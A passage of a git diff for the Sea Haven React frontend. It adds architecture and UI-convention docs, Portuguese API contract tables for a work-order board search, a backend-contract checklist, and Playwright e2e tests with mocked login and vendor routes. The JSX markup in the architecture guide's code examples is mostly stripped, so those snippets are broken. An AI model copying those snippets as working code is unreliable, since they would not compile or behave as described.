`); pair the error message with `variant="error"`. The rule enforces the +static surface only. It cannot resolve dynamic or composed class values +(`className={cn("vp-error", ...)}`, template literals with expressions, or expression-wrapped +strings), so do not compose `vp-error` dynamically to bypass it — prefer `Text variant="error"`. + +## Forms and mutations + +Use the libraries already established in the application: + +- React Hook Form owns field registration, touched/dirty state, and client form lifecycle. +- Zod owns form validation and inferred form value types. +- TanStack Query owns server reads and mutations, including pending/error state, cache + invalidation, and retries where safe. + +Do not add TanStack Form alongside React Hook Form. It would create two form conventions without +removing any current dependency. Reconsider only as a deliberate repository-wide migration with +benchmarks, a codemod plan, and an approved deprecation path. + +File uploads are not ordinary form fields. Keep file selection and client validation in a focused +component, and use a TanStack Query mutation for upload progress, errors, completion refresh, and +retry state. Do not place upload orchestration in a route-sized page component. + +## Page state + +Pages should compose focused state components instead of accumulating unrelated booleans: + +- query loading, error, and empty states stay adjacent to the query result; +- mutation pending/error state belongs to the component that initiated the mutation; +- route pages coordinate sections and navigation; +- reusable sections own their interaction details; +- errors render inline with accessible feedback, with toasts reserved for cross-page outcomes. + +## Enforcement and rollout + +The lint rules are repository-wide and the initial violations were migrated in the same change. +`npm run lint`, `npm run build`, and the `Text` behavior tests are required gates. Future +maintainability rules must also land with a green migration rather than a warning-only backlog. diff --git a/docs/UI_DOCUMENTATION.md b/docs/UI_DOCUMENTATION.md new file mode 100644 index 00000000..2d836181 --- /dev/null +++ b/docs/UI_DOCUMENTATION.md @@ -0,0 +1,544 @@ +# Sea Haven UI - Complete Architecture Documentation + +> Modern React architecture with Redux Toolkit, React Query, and CSS Modules + +--- + +## 📊 Architecture Diagram + +``` +┌─────────────────────────────────────────────────────────────┐ +│ 1. UI LAYER │ +│ Pages / Components │ +│ (What users see - buttons, forms, tables) │ +└────────┬──────────┬──────────┬──────────┬──────────┬────────┘ + │ │ │ │ │ + ▼ ▼ ▼ ▼ ▼ +┌─────────────────────────────────────────────────────────────┐ +│ 2. CUSTOM HOOKS │ +│ │ +│ useWorkOrders useModal useDebounce usePMSchedules useAuth │ +│ │ +│ (Reusable logic - keeps components clean) │ +└────────┬────────────────────────────────────┬────────────────┘ + │ │ + ▼ ▼ +┌────────────────────────┐ ┌────────────────────────┐ +│ 3. STATE MANAGEMENT │ │ 3. STATE MANAGEMENT │ +│ │ │ │ +│ React Query │ │ Redux Toolkit │ +│ Server State & Cache │ │ Auth & UI State │ +│ │ │ │ +│ • PM Schedules │ │ • User (logged in?) │ +│ • Work Orders │ │ • Sidebar (open?) │ +│ • Employees │ │ • Theme (dark/light?) │ +│ • Automatic caching! │ │ • Reactive updates! │ +└────────────┬───────────┘ └────────────┬───────────┘ + │ │ + └──────────────┬───────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────┐ +│ 4. API LAYER │ +│ │ +│ API Services │ +│ (All backend endpoints) │ +│ │ +│ • workOrdersApi • pmSchedulesApi • employeesApi │ +│ │ +│ Axios Client │ +│ (with auth interceptors) │ +└────────────────────────────┬────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────┐ +│ 5. BACKEND │ +│ │ +│ REST API │ +│ (Sea Haven Backend) │ +└─────────────────────────────────────────────────────────────┘ +``` + +--- + +## 📁 Folder Structure + +``` +src/ +├── pages/ # What users see (thin - just display) +│ ├── PmSchedule/ +│ │ └── list/List.js # PM Schedules page ✅ REFACTORED +│ ├── auth/ +│ │ └── LoginPage.js # Login page ✅ USES REDUX +│ └── ... +│ +├── components/ # Reusable UI pieces +│ ├── Topbar.js # Top navigation bar ✅ USES REDUX +│ ├── Sidebar.js # Side menu +│ ├── DeleteModal.js # Confirmation popup +│ └── SharedTable.js # Data table +│ +├── hooks/ # Reusable logic (the magic!) +│ ├── useAuth.js # Login/logout with Redux +│ ├── useModal.js # Open/close popups +│ ├── useDebounce.js # Delay search typing +│ └── api/ # Data fetching hooks +│ ├── usePMSchedules.js +│ ├── useWorkOrders.js +│ └── useEmployees.js +│ +├── app/ # Redux setup +│ ├── store.js # Main store +│ └── slices/ +│ ├── authSlice.js # User login state +│ └── uiSlice.js # Sidebar, theme, etc. +│ +├── lib/ # Core utilities +│ ├── queryClient.js # React Query config +│ └── api/ +│ ├── client.js # Axios HTTP client +│ └── services.js # All API endpoints +│ +└── constants/ # All constant values + ├── index.js # Main constants + ├── actionTypes.js # Redux actions (for reference) + └── queryKeys.js # React Query keys +``` + +--- + +## 🎯 Core Concepts + +### 1. State Management: Redux vs React Query + +**Use Redux for:** + +- ✅ User authentication (login/logout) +- ✅ App-wide settings (theme, sidebar state) +- ✅ Data that needs to be shared everywhere + +**Use React Query for:** + +- ✅ API data (lists, details) +- ✅ Any server data +- ✅ Automatic caching and refetching + +**Use useState for:** + +- ✅ Local component state +- ✅ Form inputs +- ✅ UI toggles (dropdowns, tabs) + +### 2. CSS Modules (Built-in - No Dependencies!) + +**Old Way** (Global CSS): + +```javascript +import './Component.css'; +
+``` + +**New Way** (CSS Modules): + +```javascript +import styles from './Component.module.css'; +
// Automatically scoped! +``` + +**Benefits:** + +- No naming conflicts +- Better tree-shaking +- No extra build tools needed +- Just rename `.css` → `.module.css` + +### 3. Constants - No Magic Strings! + +```javascript +// ❌ Bad +queryKey: ["pmschedules"]; +setTimeout(fn, 600); + +// ✅ Good +import { PM_SCHEDULES_LIST, DEBOUNCE_SEARCH } from "../constants"; +queryKey: [PM_SCHEDULES_LIST]; +setTimeout(fn, DEBOUNCE_SEARCH); +``` + +--- + +## 💻 Code Examples + +### Example 1: Loading Data with React Query + +```javascript +import { usePMSchedules } from "../hooks/api/usePMSchedules"; +import { useDebounce, DEBOUNCE_SEARCH } from "../constants"; + +function PMScheduleList() { + const [search, setSearch] = useState(""); + const debouncedSearch = useDebounce(search, DEBOUNCE_SEARCH); + + const { data, isLoading, error } = usePMSchedules({ + search: debouncedSearch, + page: 1, + }); + + if (isLoading) return
Loading...
; + if (error) return
Error: {error.message}
; + + return ( +
+ setSearch(e.target.value)} /> +
    + {data.items.map((item) => ( +
  • {item.name}
  • + ))} +
+
+ ); +} +``` + +### Example 2: Using Redux Auth + +```javascript +import { useAuth } from "../hooks/useAuth"; + +function MyComponent() { + const { user, isAuthenticated, login, logout } = useAuth(); + + if (!isAuthenticated) { + return ; + } + + return ( +
+ Welcome {user.name}! +
+ ); +} +``` + +### Example 3: Using Modals + +```javascript +import { useModal } from "../hooks/useModal"; + +function MyComponent() { + const deleteModal = useModal(); + + return ( +
+ + + {deleteModal.isOpen && ( + Delete {deleteModal.data.name}? + )} +
+ ); +} +``` + +### Example 4: CSS Modules + +```javascript +import styles from "./LoginPage.module.css"; + +function LoginPage() { + return ( +
+
+
+
+
User Login
+
+
+ + +
+
+
+
+ ); +} +``` + +--- + +## 🔧 Common Patterns + +### Pattern 1: Fetch and Display Data + +```javascript +const { data, isLoading, error } = useDataHook(params); + +if (isLoading) return ; +if (error) return ; + +return ; +``` + +### Pattern 2: Delete with Confirmation + +```javascript +const deleteMutation = useDeleteHook(); +const deleteModal = useModal(); + +const handleDelete = async () => { + await deleteMutation.mutateAsync(deleteModal.data.id); + deleteModal.close(); + // Automatically refetches list! +}; + +// In JSX: + + +``` + +### Pattern 3: Search with Debounce + +```javascript +const [search, setSearch] = useState(""); +const debouncedSearch = useDebounce(search, DEBOUNCE_SEARCH); + +const { data } = useDataHook({ search: debouncedSearch }); + +// User types → waits 600ms → then searches +``` + +--- + +## 📚 Constants Reference + +### API Constants + +```javascript +API_URL; // Backend URL +API_ERROR_MESSAGE; // Default error message +API_SUCCESS_MESSAGE; // Success message +``` + +### Timing Constants + +```javascript +DEBOUNCE_SEARCH; // 600ms +CACHE_TIME_MEDIUM; // 5 minutes +STALE_TIME_MEDIUM; // 5 minutes +``` + +### View Modes + +```javascript +VIEW_MODE_LIST; // 'list' +VIEW_MODE_CARD; // 'card' +``` + +### Status Types + +```javascript +STATUS_OPEN; // 'Open' +STATUS_COMPLETED; // 'Completed' +``` + +### Query Keys + +```javascript +PM_SCHEDULES_LIST; // 'pmSchedulesList' +WORK_ORDERS_LIST; // 'workOrdersList' +EMPLOYEES_DROPDOWN; // 'employeesDropdown' +``` + +### Storage Keys + +```javascript +STORAGE_KEY_TOKEN; // 'token' +STORAGE_KEY_THEME; // 'theme' +``` + +--- + +## 🚀 Getting Started + +### 1. Run Development Server + +```bash +npm start +``` + +### 2. Build for Production + +```bash +npm run build +``` + +### 3. Deploy to S3 + +```bash +aws s3 sync build/ s3://shoc-ui-app --acl public-read +``` + +--- + +## 🔄 Migration Guide + +### Converting a Page to New Architecture + +**Step 1: Use React Query Hook** + +```javascript +// Old +const [data, setData] = useState([]); +const [loading, setLoading] = useState(false); +useEffect(() => { + setLoading(true); + fetchData() + .then(setData) + .finally(() => setLoading(false)); +}, []); + +// New +const { data, isLoading } = usePMSchedules({ page: 1 }); +``` + +**Step 2: Use Constants** + +```javascript +// Old +const [search, setSearch] = useState(""); +useEffect(() => { + const timer = setTimeout(() => doSearch(search), 600); + return () => clearTimeout(timer); +}, [search]); + +// New +import { DEBOUNCE_SEARCH } from "../constants"; +const debouncedSearch = useDebounce(search, DEBOUNCE_SEARCH); +``` + +**Step 3: Convert CSS to Modules** + +```javascript +// 1. Rename: Component.css → Component.module.css +// 2. Update import: import styles from './Component.module.css'; +// 3. Update JSX: className="foo" → className={styles.foo} +``` + +--- + +## ✅ What's Been Refactored + +### Pages + +- ✅ **LoginPage** - Uses Redux for auth +- ✅ **PM Schedules List** - Uses React Query, constants, CSS Modules + +### Components + +- ✅ **Topbar** - Uses Redux for user state +- ✅ **DeleteModal** - Reusable component + +### Hooks + +- ✅ **useAuth** - Redux integration for login/logout +- ✅ **useModal** - Reusable modal state +- ✅ **useDebounce** - Search debouncing +- ✅ **usePMSchedules** - PM Schedule API with React Query +- ✅ **useWorkOrders** - Work Orders API +- ✅ **useEmployees** - Employees API + +--- + +## 🎯 Best Practices + +1. **Always use constants** - Never hardcode strings +2. **Keep components thin** - Move logic to hooks +3. **Let React Query cache** - Don't manually manage loading +4. **Use CSS Modules** - Avoid global styles +5. **Follow patterns** - Look at PM Schedules as example + +--- + +## 📖 Quick Reference + +### File to Check for Examples + +- `src/pages/PmSchedule/list/List.js` - Fully refactored list page +- `src/pages/auth/LoginPage.js` - Redux auth + CSS Modules +- `src/hooks/api/usePMSchedules.js` - React Query hook pattern +- `src/components/Topbar.js` - Redux integration + +### When You Need To... + +**Fetch data from API:** +→ Create/use a hook in `src/hooks/api/` + +**Add a new constant:** +→ Add to `src/constants/index.js` + +**Create a new page:** +→ Copy pattern from `PM Schedules List.js` + +**Style a component:** +→ Create `Component.module.css` and import it + +**Access user info:** +→ Use `const { user } = useAuth()` + +**Show a confirmation modal:** +→ Use `const modal = useModal()` + +--- + +## 🛠️ Troubleshooting + +### Issue: Constants not found + +**Solution:** Make sure you're importing from `'../constants'` (folder) not `'../constants.js'` (old file) + +### Issue: CSS not scoped + +**Solution:** File must be named `.module.css` and imported as `import styles from` + +### Issue: Redux state not updating + +**Solution:** Make sure you're using the hooks (`useAuth`, `useSelector`) not direct access + +### Issue: React Query not caching + +**Solution:** Check that query keys use constants and are consistent + +--- + +## 🎉 Summary + +### What We Built: + +- ✅ Modern React architecture +- ✅ Redux Toolkit for global state +- ✅ React Query for server state +- ✅ CSS Modules for styling +- ✅ Centralized constants +- ✅ Custom hooks for reusable logic + +### Benefits: + +- 📉 70% less boilerplate code +- 🚀 Automatic caching and refetching +- 🎨 No CSS naming conflicts +- 🔧 Easier to maintain +- 📦 Smaller bundle size +- ⚡ Better performance + +### Next Steps: + +1. Refactor remaining pages using PM Schedules as template +2. Convert more CSS to CSS Modules +3. Add more API hooks as needed +4. Expand Redux slices for new features + +--- + +**Welcome to the modern Sea Haven UI! 🎊** + +_Last updated: 2026_ diff --git a/docs/work-orders/board-search-api.md b/docs/work-orders/board-search-api.md new file mode 100644 index 00000000..fde9438b --- /dev/null +++ b/docs/work-orders/board-search-api.md @@ -0,0 +1,148 @@ +# Work Orders Board & Search API + +Frontend integration contract for weekly board and advanced search filters. + +## Base + +| Item | Valor | +| ------------ | ------------------------------------------- | +| Prefixo | `/api/workorders` (alias: `/api/WorkOrder`) | +| Auth | `Authorization: Bearer {token}` (JWT) | +| Content-Type | Não necessário (GET) | + +Paths no FE: `API_PATHS.workOrder.board`, `boardSearch`, `lookupsDispatchers`. + +## Quando usar qual endpoint + +| Modo FE | Endpoint | Quando | +| --------------------------------------- | -------------------------- | ------------------------------------------------ | +| Barra principal (`advApplied === null`) | `GET /board` | Semana + dispatchers + tipo segment + search | +| Filtros avançados aplicados | `GET /board/search` | Todos os filtros avançados + paginação/ordenação | +| Lookup dispatchers | `GET /lookups/dispatchers` | Popular multi-select de dispatchers | + +**Não misture parâmetros:** `weekStart`/`weekEnd` só no `/board`; `datePreset` só no `/search`. + +## Query builders (FE) + +- [`board-query-params.ts`](../../src/domain/work-orders/utils/board-query-params.ts) — `toBoardQueryParams`, `toBoardSearchQueryParams` +- Arrays na query: repetição simples (`types=2&types=6`), via `toUrlSearchParams` em `work-orders-api.ts` + +## Barra → `GET /board` + +| FE state | API param | Regra | +| --------------- | ---------------------- | ----------------------------------------------------------- | +| `search` | `search` | Enviar só se `length >= 2`; com 1 char, filtrar client-side | +| `weekMonday` | `weekStart` | ISO `YYYY-MM-DD` (segunda) | +| — | `weekEnd` | `weekStart + 4` (sexta) | +| `dispatcherIds` | `dispatchers` | `__unassigned` → `__unassigned__` | +| "My WOs" | `dispatchers={userId}` | Equivalente a `myWorkOrders=true` | +| `typeFilter` | `types` / `overdue` | Tipos reais em `types`; past-due via `overdue=true` (OR) | + +## Advanced → `GET /board/search` + +| FE state | API param | Regra | +| ---------------- | --------------------- | ------------------------------------------- | +| `page` | `page` | **0-based** (primeira página = `0`) | +| `pageSize` | `pageSize` | Default `100`, max `100` | +| `sortBy` | `sortBy` | `scheduledDate` \| `woNumber` \| `dueDate` | +| `sortDir` | `sortDir` | `asc` \| `desc` | +| `search` | `search` | `>= 2` chars | +| `dateRange` | `datePreset` | PascalCase (ver abaixo) | +| `customFrom/To` | `dateFrom` / `dateTo` | Obrigatórios se `datePreset=Custom` | +| `sites` (IDs UI) | `sites` | **Site codes**, não location ID | +| `types` | `types` | Integers de `WorkOrderType` reais | +| overdue (UI) | `overdue` | `true` = past-due (`isPastDue`); ver abaixo | +| `dispatchers` | `dispatchers` | `__unassigned` → `__unassigned__` | +| `statuses` | `statuses` | Integers 1–10 | +| `pmTypes` | `pmTypes` | Strings (labels Problem dropdown) | +| `vendorTechs` | `vendorIds` | Integers (resolvidos por companyName) | +| `docs` | `docStatuses` | No=2, Yes=1, NN=3 | + +### `datePreset` + +| FE key | API value | +| --------------- | ------------- | +| `this-week` | `ThisWeek` | +| `last-week` | `LastWeek` | +| `this-month` | `ThisMonth` | +| `last-3-months` | `Last3Months` | +| `next-week` | `NextWeek` | +| `next-month` | `NextMonth` | +| `custom` | `Custom` | + +### `types` — WorkOrderType + +Somente tipos reais de work order. **Não** use sentinel `99` para overdue. + +| Label FE | API | +| --------- | -------------------------------------------- | +| PM | `2` | +| Emergency | `3` | +| Reactive | `6` | +| Add-On | `7` | +| Other | tipo real do enum (não é filtro de past-due) | + +### `overdue` — past-due + +| FE / UI | API param | Regra | +| ------- | -------------- | ----------------------------------------- | +| Overdue | `overdue=true` | Filtra work orders past-due (`isPastDue`) | + +`types` e `overdue` combinam com **OR**: uma WO entra no resultado se corresponder a algum `types` **ou** estiver overdue (quando `overdue=true`). + +Exemplos: + +- Só PM e Emergency: `types=2&types=3` +- Só past-due: `overdue=true` +- PM **ou** past-due: `types=2&overdue=true` + +### `statuses` — LifecycleStatus + +Incomplete=1, Pending=2, Scheduled=3, En Route=4, On Site=5, In Progress=6, Completed=7, Rescheduled=8, Canceled=9, Pending Quote=10. + +### `docStatuses` + +Pending (`No`)=2, Uploaded (`Yes`)=1, N/N (`NN`)=3. + +## Respostas + +### `/board` + +```json +{ + "weekStart": "2026-07-14", + "weekEnd": "2026-07-18", + "counts": { "total": 42, "returned": 10 }, + "scheduled": [], + "unscheduled": [] +} +``` + +### `/board/search` + +```json +{ + "items": [], + "totalCount": 150, + "page": 0, + "pageSize": 100, + "totalPages": 2, + "hasPrevious": false, + "hasNext": true +} +``` + +## Erros HTTP + +| Situação | Status | +| --------------------------------------------------- | ------ | +| `weekEnd < weekStart` ou janela > 7 dias | 400 | +| `datePreset=Custom` sem datas / `dateTo < dateFrom` | 400 | +| `sortBy` inválido | 400 | +| Sem token / expirado | 401 | + +Body típico: `{ "status": "Error", "message": "..." }` — o FE exibe `message` via `ApiError`. + +## Validação UI + +O side sheet de filtros avançados valida Custom (From/To obrigatórios e `dateTo >= dateFrom`) antes de aplicar, para evitar 400 desnecessário. diff --git a/docs/work-orders/pending-be-contract.md b/docs/work-orders/pending-be-contract.md new file mode 100644 index 00000000..a3a92f53 --- /dev/null +++ b/docs/work-orders/pending-be-contract.md @@ -0,0 +1,58 @@ +# Pending BE contract (WO design parity gaps) + +Local checklist for FE branches off `dev`. Confirm with backend before shipping PR3/PR5 to production. Until confirmed, FE may use typed clients + mocks. + +## Board row / PATCH + +| Field | Needed by | Notes | +| -------------------------------------------------------- | ------------- | ---------------------------------------------------------------------- | +| `completedDate` on GET `/board` and `/board/search` rows | PR1, PR4 | PATCH `field: "completedDate"` expected; confirm GET includes ISO date | +| `severity` (`1`–`5` \| `null`) on row, create, PATCH | PR2, PR5 | Required for Emergency/Reactive; PATCH `field: "severity"` | +| `upliftSummary` on row | PR3, PR4, PR5 | `{ hasUplift, pendingCount, primaryStatus? }` | +| `hasPendingUplift` on row/detail | PR4 | Prefer server 422 on Completed / completion-doc when pending | +| `additionalContacts[]` | PR6 | `{ name, phone, notes? }[]` on create/detail/PATCH | +| `isAddOn` | PR5 (filter) | Indicator, not a WO type (SH-126) | + +## Proposed WO-scoped uplift endpoints (confirm vs NTE `uplifts` queue) + +| Method | Path | Body | +| ------ | ------------------------------------------- | --------------------------------- | +| GET | `workorders/{id}/uplifts` | — | +| POST | `workorders/{id}/uplifts` | `{ amount, notes, attachments? }` | +| POST | `workorders/{id}/uplifts/{upliftId}/cancel` | — | +| POST | `workorders/{id}/uplifts/{upliftId}/revoke` | `{ reason? }` | + +Statuses (design): `pending` \| `approved` \| `auto_approved` \| `rejected` \| `cancelled` \| `revoked`. + +## Search query params (`GET workorders/board/search`) + +| Param | Meaning | +| ------------------------------ | ------------------------- | +| `severities` | multi `1`–`5` | +| `rescheduled` / `carriedOver` | boolean (≥2 counters) | +| `addOn` | boolean (`isAddOn`) | +| `flagColors` | multi `#RRGGBB` | +| `internalOnly` | WO# starts with `SH` | +| `avetaOnly` | if `avetaRequired` exists | +| `hasUplift` + `upliftStatuses` | uplift filters | + +Already documented in `board-search-api.md`: datePreset, sites, types, overdue, dispatchers, statuses, pmTypes, vendorIds, docStatuses. + +## Comments + +| Field | Needed by | +| ---------------------------------------- | --------- | +| POST `{ text, mentions?: string[] }` | PR9 | +| Response includes mentions for highlight | PR9 | + +## Vendor + +| Item | Needed by | +| -------------------------------------------------------------- | --------- | +| Create technician under company (confirm existing vendors API) | PR7 | + +## Optional + +| Item | Needed by | +| ----------------------------------- | -------------------------------- | +| 422 on duplicate WO number (global) | PR8 (FE dialog works without it) | diff --git a/e2e/auth/login.spec.ts b/e2e/auth/login.spec.ts new file mode 100644 index 00000000..af8c9e71 --- /dev/null +++ b/e2e/auth/login.spec.ts @@ -0,0 +1,104 @@ +import { expect, test, type Page } from "@playwright/test"; + +const TEST_USER = { + token: "test-jwt-token", + expiration: new Date(Date.now() + 60 * 60 * 1000).toISOString(), + email: "user@seahavenind.com", + userRoles: "Admin", + phoneNumber: "5551234567", + fullname: "Test User", + id: "1", +}; + +async function mockDashboardStats(page: Page) { + await page.route("**/api/Dashboard/Stats", async (route) => { + await route.fulfill({ + status: 200, + contentType: "application/json", + body: JSON.stringify({ + data: { + openWorkOrders: 0, + pendingApprovals: 0, + scheduledPMs: 0, + activeAssets: 0, + }, + }), + }); + }); +} + +test.describe("Login page", () => { + test.beforeEach(async ({ page }) => { + await page.addInitScript(() => { + localStorage.removeItem("auth"); + }); + await mockDashboardStats(page); + }); + + test("loads login page with form fields", async ({ page }) => { + await page.goto("/login"); + + await expect(page.getByRole("heading", { name: "Welcome back" })).toBeVisible(); + await expect(page.locator("#login-email")).toBeVisible(); + await expect(page.locator("#login-password")).toBeVisible(); + await expect(page.getByRole("button", { name: "Sign In" })).toBeVisible(); + }); + + test("disables submit until email and password are valid", async ({ page }) => { + await page.goto("/login"); + + const submitButton = page.getByRole("button", { name: "Sign In" }); + + await expect(submitButton).toBeDisabled(); + + await page.locator("#login-email").fill("not-an-email"); + await page.locator("#login-password").fill("secret123"); + await expect(submitButton).toBeDisabled(); + + await page.locator("#login-email").fill("user@seahavenind.com"); + await expect(submitButton).toBeEnabled(); + }); + + test("shows error message for invalid credentials", async ({ page }) => { + await page.route("**/api/Authentication/Login", async (route) => { + await route.fulfill({ + status: 401, + contentType: "application/json", + body: JSON.stringify({ message: "Invalid credentials" }), + }); + }); + + await page.goto("/login"); + + await page.locator("#login-email").fill("user@seahavenind.com"); + await page.locator("#login-password").fill("wrong-password"); + await page.getByRole("button", { name: "Sign In" }).click(); + + await expect(page.getByText("Invalid email or password. Please try again.")).toBeVisible(); + await expect(page).toHaveURL(/\/login$/); + }); + + test("logs in successfully and navigates to dashboard", async ({ page }) => { + await page.route("**/api/Authentication/Login", async (route) => { + await route.fulfill({ + status: 200, + contentType: "application/json", + body: JSON.stringify({ data: TEST_USER }), + }); + }); + + await page.goto("/login"); + + await page.locator("#login-email").fill("user@seahavenind.com"); + await page.locator("#login-password").fill("secret123"); + await page.getByRole("button", { name: "Sign In" }).click(); + + await expect(page).toHaveURL(/\/$/); + await expect(page.getByRole("heading", { name: "Dashboard" })).toBeVisible(); + await expect(page.getByRole("heading", { name: "Welcome back" })).not.toBeVisible(); + + const storedAuth = await page.evaluate(() => localStorage.getItem("auth")); + expect(storedAuth).toContain(TEST_USER.token); + expect(storedAuth).toContain(TEST_USER.fullname); + }); +}); diff --git a/e2e/vendors/vendor-operations.spec.ts b/e2e/vendors/vendor-operations.spec.ts new file mode 100644 index 00000000..13c7b1eb --- /dev/null +++ b/e2e/vendors/vendor-operations.spec.ts @@ -0,0 +1,567 @@ +import { expect, test, type Page, type Route } from "@playwright/test"; + +const TEST_USER = { + token: "vendor-operations-e2e-token", + expiration: new Date(Date.now() + 60 * 60 * 1000).toISOString(), + email: "admin@seahavenind.com", + userRoles: "Admin", + phoneNumber: "5551234567", + fullname: "Vendor Operations Admin", + id: "1", +}; + +async function fulfillJson(route: Route, body: unknown, status = 200) { + await route.fulfill({ status, contentType: "application/json", body: JSON.stringify(body) }); +} + +async function authenticate(page: Page) { + await page.addInitScript((user) => localStorage.setItem("auth", JSON.stringify(user)), TEST_USER); + await page.route("**/api/Dashboard/Stats", (route) => + fulfillJson(route, { + data: { + openWorkOrders: 0, + pendingApprovals: 0, + scheduledPMs: 0, + activeAssets: 0, + }, + }), + ); + await page.route("**/api/User*", (route) => fulfillJson(route, { data: [] })); +} + +test.describe("Vendor operations", () => { + test("keeps the most specific vendor navigation item exclusively current", async ({ page }) => { + await authenticate(page); + await page.route("**/api/vendor-operations/insights*", (route) => + fulfillJson(route, { data: [] }), + ); + + await page.goto("/vendors/insights"); + + const vendorLinks = page.locator('a[href^="/vendors"]'); + await expect( + vendorLinks.filter({ has: page.getByText("Vendor Insights", { exact: true }) }), + ).toHaveAttribute("aria-current", "page"); + await expect( + vendorLinks.filter({ has: page.getByText("Vendors", { exact: true }) }), + ).not.toHaveAttribute("aria-current", "page"); + await expect( + vendorLinks.filter({ has: page.getByText("Site Preferences", { exact: true }) }), + ).not.toHaveAttribute("aria-current", "page"); + }); + + test("keeps Vendor PO controls usable at a constrained viewport", async ({ page }) => { + await page.setViewportSize({ width: 700, height: 900 }); + await authenticate(page); + await page.route("**/api/dispatches*", (route) => fulfillJson(route, { items: [], total: 0 })); + await page.route("**/api/Vendor/GetVendorList*", (route) => + fulfillJson(route, { Data: [], TotalCount: 0 }), + ); + + await page.goto("/vendor-pos"); + + await expect(page.getByRole("heading", { name: "Vendor POs" })).toBeVisible(); + await expect(page.getByText("0 total", { exact: true })).toBeVisible(); + await expect(page.getByPlaceholder("Search PO #, dispatch, vendor, WO...")).toBeVisible(); + await expect(page.locator("label").filter({ hasText: /^Status$/ })).toBeVisible(); + await expect(page.locator("label").filter({ hasText: /^Vendor$/ })).toBeVisible(); + await expect(page.getByLabel("From", { exact: true })).toBeVisible(); + await expect(page.getByLabel("To", { exact: true })).toBeVisible(); + await expect(page.getByRole("button", { name: "Clear filters" })).toBeVisible(); + + await expect + .poll(() => + page + .getByPlaceholder("Search PO #, dispatch, vendor, WO...") + .evaluate((element) => element.clientWidth), + ) + .toBeGreaterThanOrEqual(280); + }); + + test("groups 48-hour reminders and overlap conflicts with direct work-order actions", async ({ + page, + }) => { + await authenticate(page); + await page.route("**/api/vendor-operations/notifications", (route) => + fulfillJson(route, { + items: [ + { + id: "no-vendor-501", + type: "NoVendor", + severity: "Medium", + group: "No Vendor", + title: "No vendor assigned — 48h to service", + workOrderId: 501, + workOrderNumber: "WO-501", + triggeredAt: "2026-07-23T12:00:00Z", + scheduledAt: "2026-07-25T12:00:00Z", + action: { label: "Choose vendor", href: "/workorders/edit/501?assignVendor=1" }, + }, + { + id: "vendor-conflict-801-802", + type: "VendorConflict", + severity: "Medium", + group: "Vendor Conflict", + title: "Vendor has overlapping appointments", + triggeredAt: "2026-07-23T12:00:00Z", + workOrders: [ + { + workOrderId: 501, + workOrderNumber: "WO-501", + start: "2026-07-25T12:00:00Z", + end: "2026-07-25T14:00:00Z", + }, + { + workOrderId: 502, + workOrderNumber: "WO-502", + start: "2026-07-25T13:00:00Z", + end: "2026-07-25T15:00:00Z", + }, + ], + actions: [ + { label: "WO-501", href: "/workorders/501" }, + { label: "WO-502", href: "/workorders/502" }, + ], + }, + ], + }), + ); + + await page.goto("/notifications"); + + await expect(page.getByRole("heading", { name: "Items requiring attention" })).toBeVisible(); + await expect(page.getByRole("heading", { name: "No Vendor" })).toBeVisible(); + await expect(page.getByRole("heading", { name: "Vendor Conflict" })).toBeVisible(); + await expect(page.getByRole("link", { name: "Choose vendor" })).toHaveAttribute( + "href", + "/workorders/edit/501?assignVendor=1", + ); + await expect(page.getByRole("link", { name: "WO-501" })).toHaveAttribute( + "href", + "/workorders/501", + ); + await expect(page.getByRole("link", { name: "WO-502" })).toHaveAttribute( + "href", + "/workorders/502", + ); + }); + + test("filters insights and exposes both export formats", async ({ page }) => { + await authenticate(page); + const requestedUrls: string[] = []; + await page.route("**/api/vendor-operations/insights*", async (route) => { + requestedUrls.push(route.request().url()); + const { pathname } = new URL(route.request().url()); + if (pathname.endsWith(".csv")) { + await route.fulfill({ status: 200, contentType: "text/csv", body: "Vendor,Completed\n" }); + return; + } + if (pathname.endsWith(".pdf")) { + await route.fulfill({ status: 200, contentType: "application/pdf", body: "%PDF-1.4" }); + return; + } + await fulfillJson(route, { + data: [ + { + vendorId: 7, + vendor: "Gateway Plumbing", + completedJobs: 12, + cancellationRefusalRate: 0.1, + onTimeArrivalRate: 0.9, + onTimeCompletionRate: 0.8, + averageCycleHours: 5.5, + }, + ], + }); + }); + + await page.goto("/vendors/insights"); + + await expect(page.getByRole("cell", { name: "Gateway Plumbing" })).toBeVisible(); + await page.getByLabel("From", { exact: true }).fill("2026-01-01"); + await page.getByLabel("To", { exact: true }).fill("2026-01-31"); + await page.getByLabel("Trade", { exact: true }).fill("Plumbing"); + + const insightsQueryHas = (name: string, value: string) => + requestedUrls.some( + (url) => + new URL(url).pathname.endsWith("/insights") && + new URL(url).searchParams.get(name) === value, + ); + await expect.poll(() => insightsQueryHas("from", "2026-01-01")).toBe(true); + await expect.poll(() => insightsQueryHas("to", "2026-01-31")).toBe(true); + await expect.poll(() => insightsQueryHas("trade", "Plumbing")).toBe(true); + + await page.getByRole("button", { name: "Export CSV" }).click(); + await page.getByRole("button", { name: "Export PDF" }).click(); + + const exportRequest = (format: "csv" | "pdf") => + requestedUrls.find((url) => new URL(url).pathname.endsWith(`/insights.${format}`)); + const exportHasFilters = (url: string | undefined) => { + if (!url) return false; + const params = new URL(url).searchParams; + return ( + params.get("from") === "2026-01-01" && + params.get("to") === "2026-01-31" && + params.get("trade") === "Plumbing" + ); + }; + + await expect.poll(() => exportHasFilters(exportRequest("csv"))).toBe(true); + await expect.poll(() => exportHasFilters(exportRequest("pdf"))).toBe(true); + }); + + test("reorders and saves preferred vendors for a site", async ({ page }) => { + await authenticate(page); + let savedPreferences: unknown; + await page.route("**/api/Contact/GetLocations", (route) => + fulfillJson(route, { data: [{ Id: 10, Name: "St. Louis HQ" }] }), + ); + await page.route("**/api/Vendor/Dropdown*", (route) => + fulfillJson(route, { + data: [ + { Id: 7, CompanyName: "Gateway Plumbing", TradeSpecialties: "Plumbing" }, + { Id: 8, CompanyName: "Metro HVAC", TradeSpecialties: "HVAC" }, + ], + }), + ); + await page.route("**/api/vendor-operations/sites/10/preferred-vendors", async (route) => { + if (route.request().method() === "PUT") { + savedPreferences = route.request().postDataJSON(); + await fulfillJson(route, savedPreferences); + return; + } + await fulfillJson(route, [ + { + id: 1, + locationId: 10, + vendorId: 7, + vendorName: "Gateway Plumbing", + trade: "Plumbing", + sortOrder: 0, + isStale: false, + }, + { + id: 2, + locationId: 10, + vendorId: 8, + vendorName: "Metro HVAC", + trade: "HVAC", + sortOrder: 1, + isStale: false, + }, + ]); + }); + + await page.goto("/vendors/preferences"); + await 